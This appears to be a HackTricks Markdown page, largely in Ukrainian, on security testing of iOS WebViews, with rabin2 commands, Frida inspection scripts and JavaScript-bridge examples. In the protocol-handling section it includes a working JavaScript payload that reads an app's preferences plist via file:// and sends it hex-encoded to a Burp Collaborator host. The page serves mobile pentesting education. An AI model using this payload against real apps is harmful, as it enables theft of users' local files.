hacktricks/mobile-pentesting/ios-pentesting/ios-webviews.md

293 lines
23 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# iOS WebViews
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
The code of this page was extracted from [here](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md). Check the page for further details.
## WebViews types
WebViews використовуються в додатках для інтерактивного відображення веб-контенту. Різні типи WebViews пропонують різні функціональні можливості та функції безпеки для iOS-додатків. Ось короткий огляд:
- **UIWebView**, який більше не рекомендується з iOS 12 через відсутність підтримки вимкнення **JavaScript**, що робить його вразливим до ін'єкцій скриптів та атак **Cross-Site Scripting (XSS)**.
- **WKWebView** є переважним варіантом для інтеграції веб-контенту в додатки, пропонуючи покращений контроль над контентом та функціями безпеки. **JavaScript** увімкнено за замовчуванням, але його можна вимкнути за необхідності. Він також підтримує функції, щоб запобігти автоматичному відкриттю вікон JavaScript і забезпечує безпечне завантаження всього контенту. Крім того, архітектура **WKWebView** мінімізує ризик пошкодження пам'яті, що впливає на основний процес додатка.
- **SFSafariViewController** пропонує стандартизований досвід веб-серфінгу в додатках, впізнаваний за своїм специфічним макетом, включаючи поле адреси тільки для читання, кнопки спільного доступу та навігації, а також пряме посилання для відкриття контенту в Safari. На відміну від **WKWebView**, **JavaScript** не можна вимкнути в **SFSafariViewController**, який також ділиться куками та даними з Safari, зберігаючи конфіденційність користувача від додатка. Його потрібно відображати помітно відповідно до рекомендацій App Store.
```javascript
// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];
```
## WebViews Configuration Exploration Summary
### **Static Analysis Overview**
У процесі вивчення конфігурацій **WebViews** акцентується на двох основних типах: **UIWebView** та **WKWebView**. Для ідентифікації цих WebViews у бінарному файлі використовуються команди, що шукають специфічні посилання на класи та методи ініціалізації.
- **UIWebView Identification**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"
```
Ця команда допомагає знаходити екземпляри **UIWebView**, шукаючи текстові рядки, пов'язані з ним, у бінарному файлі.
- **Ідентифікація WKWebView**
```bash
$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"
```
Аналогічно, для **WKWebView** ця команда шукає в бінарному файлі текстові рядки, що вказують на його використання.
Крім того, щоб дізнатися, як ініціалізується **WKWebView**, виконується наступна команда, яка націлена на підпис методу, пов'язаний з його ініціалізацією:
```bash
$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"
```
#### **Перевірка конфігурації JavaScript**
Для **WKWebView** підкреслюється, що вимкнення JavaScript є найкращою практикою, якщо це не потрібно. Скомпільований бінарний файл перевіряється, щоб підтвердити, що властивість `javaScriptEnabled` встановлена в `false`, що забезпечує вимкнення JavaScript:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"
```
#### **Тільки перевірка безпечного контенту**
**WKWebView** пропонує можливість виявлення проблем з змішаним контентом, на відміну від **UIWebView**. Це перевіряється за допомогою властивості `hasOnlySecureContent`, щоб забезпечити завантаження всіх ресурсів сторінки через безпечні з'єднання. Пошук у скомпільованому бінарному файлі виконується наступним чином:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"
```
### **Інсайти динамічного аналізу**
Динамічний аналіз передбачає перевірку купи на наявність екземплярів WebView та їх властивостей. Для цієї мети використовується скрипт під назвою `webviews_inspector.js`, який націлений на екземпляри `UIWebView`, `WKWebView` та `SFSafariViewController`. Він реєструє інформацію про знайдені екземпляри, включаючи URL-адреси та налаштування, пов'язані з JavaScript та безпечним контентом.
Перевірку купи можна проводити за допомогою `ObjC.choose()`, щоб ідентифікувати екземпляри WebView та перевірити властивості `javaScriptEnabled` та `hasonlysecurecontent`.
{% code title="webviews_inspector.js" %}
```javascript
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});
```
{% endcode %}
Скрипт виконується з:
```bash
frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js
```
**Ключові результати**:
- Екземпляри WebViews успішно виявлені та перевірені.
- Перевірено налаштування активації JavaScript та безпечного контенту.
Цей підсумок охоплює критичні кроки та команди, що беруть участь в аналізі конфігурацій WebView через статичні та динамічні підходи, зосереджуючи увагу на функціях безпеки, таких як активація JavaScript та виявлення змішаного контенту.
## Обробка протоколів WebView
Обробка контенту в WebViews є критично важливим аспектом, особливо при роботі з різними протоколами, такими як `http(s)://`, `file://` та `tel://`. Ці протоколи дозволяють завантажувати як віддалений, так і локальний контент в додатках. Підкреслюється, що при завантаженні локального контенту необхідно вжити заходів, щоб запобігти впливу користувачів на ім'я або шлях файлу та редагуванню самого контенту.
**WebViews** пропонують різні методи для завантаження контенту. Для **UIWebView**, який зараз застарів, використовуються методи, такі як `loadHTMLString:baseURL:` та `loadData:MIMEType:textEncodingName:baseURL:`. **WKWebView**, з іншого боку, використовує `loadHTMLString:baseURL:`, `loadData:MIMEType:textEncodingName:baseURL:` та `loadRequest:` для веб-контенту. Методи, такі як `pathForResource:ofType:`, `URLForResource:withExtension:` та `init(contentsOf:encoding:)`, зазвичай використовуються для завантаження локальних файлів. Метод `loadFileURL:allowingReadAccessToURL:` особливо помітний завдяки своїй здатності завантажувати конкретний URL або каталог у WebView, потенційно відкриваючи чутливі дані, якщо вказано каталог.
Щоб знайти ці методи в вихідному коді або скомпільованому бінарному файлі, можна використовувати команди, подібні до наступних:
```bash
$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:
```
Щодо **доступу до файлів**, UIWebView дозволяє його універсально, тоді як WKWebView вводить налаштування `allowFileAccessFromFileURLs` та `allowUniversalAccessFromFileURLs` для управління доступом з URL-адрес файлів, обидва з яких за замовчуванням мають значення false.
Приклад скрипта Frida надається для перевірки конфігурацій **WKWebView** для налаштувань безпеки:
```bash
ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});
```
Нарешті, приклад JavaScript-пейлоада, спрямованого на ексфільтрацію локальних файлів, демонструє потенційний ризик безпеки, пов'язаний з неправильно налаштованими WebViews. Цей пейлоад кодує вміст файлів у шістнадцятковий формат перед їх передачею на сервер, підкреслюючи важливість суворих заходів безпеки в реалізаціях WebView.
```javascript
String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
result += ("000"+hex).slice(-4);
}
return result
}
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var xhr2 = new XMLHttpRequest();
xhr2.open('GET', 'http://187e2gd0zxunzmb5vlowsz4j1a70vp.burpcollaborator.net/'+xhr.responseText.hexEncode(), true);
xhr2.send(null);
}
}
xhr.open('GET', 'file:///var/mobile/Containers/Data/Application/ED4E0AD8-F7F7-4078-93CC-C350465048A5/Library/Preferences/com.authenticationfailure.WheresMyBrowser.plist', true);
xhr.send(null);
```
## Native Methods Exposed Through WebViews
## Understanding WebView Native Interfaces in iOS
З iOS 7 Apple надала API для **зв'язку між JavaScript у WebView та нативними** об'єктами Swift або Objective-C. Ця інтеграція в основному здійснюється через два методи:
- **JSContext**: JavaScript-функція автоматично створюється, коли блок Swift або Objective-C пов'язується з ідентифікатором у `JSContext`. Це дозволяє безперешкодно інтегрувати та взаємодіяти між JavaScript та нативним кодом.
- **JSExport Protocol**: Наслідуючи протокол `JSExport`, нативні властивості, методи екземпляра та методи класу можуть бути відкриті для JavaScript. Це означає, що будь-які зміни, внесені в середовищі JavaScript, відображаються в нативному середовищі, і навпаки. Однак важливо переконатися, що чутливі дані не відкриваються ненавмисно через цей метод.
### Accessing `JSContext` in Objective-C
В Objective-C `JSContext` для `UIWebView` можна отримати за допомогою наступного рядка коду:
```objc
[webView valueForKeyPath:@"documentView.webView.mainFrame.javaScriptContext"]
```
### Спілкування з `WKWebView`
Для `WKWebView` прямий доступ до `JSContext` недоступний. Натомість використовується передача повідомлень через функцію `postMessage`, що дозволяє JavaScript взаємодіяти з нативним кодом. Обробники для цих повідомлень налаштовуються наступним чином, що дозволяє JavaScript безпечно взаємодіяти з нативним додатком:
```swift
func enableJavaScriptBridge(_ enabled: Bool) {
options_dict["javaScriptBridge"]?.value = enabled
let userContentController = wkWebViewConfiguration.userContentController
userContentController.removeScriptMessageHandler(forName: "javaScriptBridge")
if enabled {
let javaScriptBridgeMessageHandler = JavaScriptBridgeMessageHandler()
userContentController.add(javaScriptBridgeMessageHandler, name: "javaScriptBridge")
}
}
```
### Взаємодія та Тестування
JavaScript може взаємодіяти з нативним шаром, визначаючи обробник повідомлень скрипта. Це дозволяє виконувати операції, такі як виклик нативних функцій з веб-сторінки:
```javascript
function invokeNativeOperation() {
value1 = document.getElementById("value1").value
value2 = document.getElementById("value2").value
window.webkit.messageHandlers.javaScriptBridge.postMessage(["multiplyNumbers", value1, value2]);
}
// Alternative method for calling exposed JavaScript functions
document.location = "javascriptbridge://addNumbers/" + 1 + "/" + 2
```
Щоб захопити та маніпулювати результатом виклику нативної функції, можна переопределити функцію зворотного виклику в HTML:
```html
<html>
<script>
document.location = "javascriptbridge://getSecret"
function javascriptBridgeCallBack(name, result) {
alert(result);
}
</script>
</html>
```
Сторона нативного коду обробляє виклик JavaScript, як показано в класі `JavaScriptBridgeMessageHandler`, де результат операцій, таких як множення чисел, обробляється і надсилається назад до JavaScript для відображення або подальшої маніпуляції:
```swift
class JavaScriptBridgeMessageHandler: NSObject, WKScriptMessageHandler {
// Handling "multiplyNumbers" operation
case "multiplyNumbers":
let arg1 = Double(messageArray[1])!
let arg2 = Double(messageArray[2])!
result = String(arg1 * arg2)
// Callback to JavaScript
let javaScriptCallBack = "javascriptBridgeCallBack('\(functionFromJS)','\(result)')"
message.webView?.evaluateJavaScript(javaScriptCallBack, completionHandler: nil)
}
```
## Налагодження iOS WebViews
(Посібник, оснований на [https://blog.vuplex.com/debugging-webviews](https://blog.vuplex.com/debugging-webviews))
Щоб ефективно налагоджувати веб-контент у iOS webviews, потрібна специфічна налаштування, що включає інструменти розробника Safari, оскільки повідомлення, надіслані до `console.log()`, не відображаються в журналах Xcode. Ось спрощений посібник, що підкреслює ключові кроки та вимоги:
- **Підготовка на пристрої iOS**: Необхідно активувати Web Inspector Safari на вашому пристрої iOS. Це робиться через **Налаштування > Safari > Додатково**, і ввімкнення _Web Inspector_.
- **Підготовка на пристрої macOS**: На вашій розробницькій машині macOS потрібно ввімкнути інструменти розробника в Safari. Запустіть Safari, перейдіть до **Safari > Налаштування > Додатково**, і виберіть опцію оказати меню Розробка_.
- **З'єднання та налагодження**: Після підключення вашого пристрою iOS до комп'ютера macOS і запуску вашого додатку, використовуйте Safari на вашому пристрої macOS, щоб вибрати webview, який ви хочете налагоджувати. Перейдіть до _Розробка_ в меню Safari, наведіть курсор на ім'я вашого пристрою iOS, щоб побачити список екземплярів webview, і виберіть екземпляр, який ви хочете перевірити. Відкриється нове вікно Web Inspector Safari для цієї мети.
Однак, будьте уважні до обмежень:
- Налагодження цим методом вимагає пристрою macOS, оскільки воно залежить від Safari.
- Тільки webviews у додатках, завантажених на ваш пристрій через Xcode, підлягають налагодженню. Webviews у додатках, встановлених через App Store або Apple Configurator, не можуть бути налагоджені цим способом.
## Посилання
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}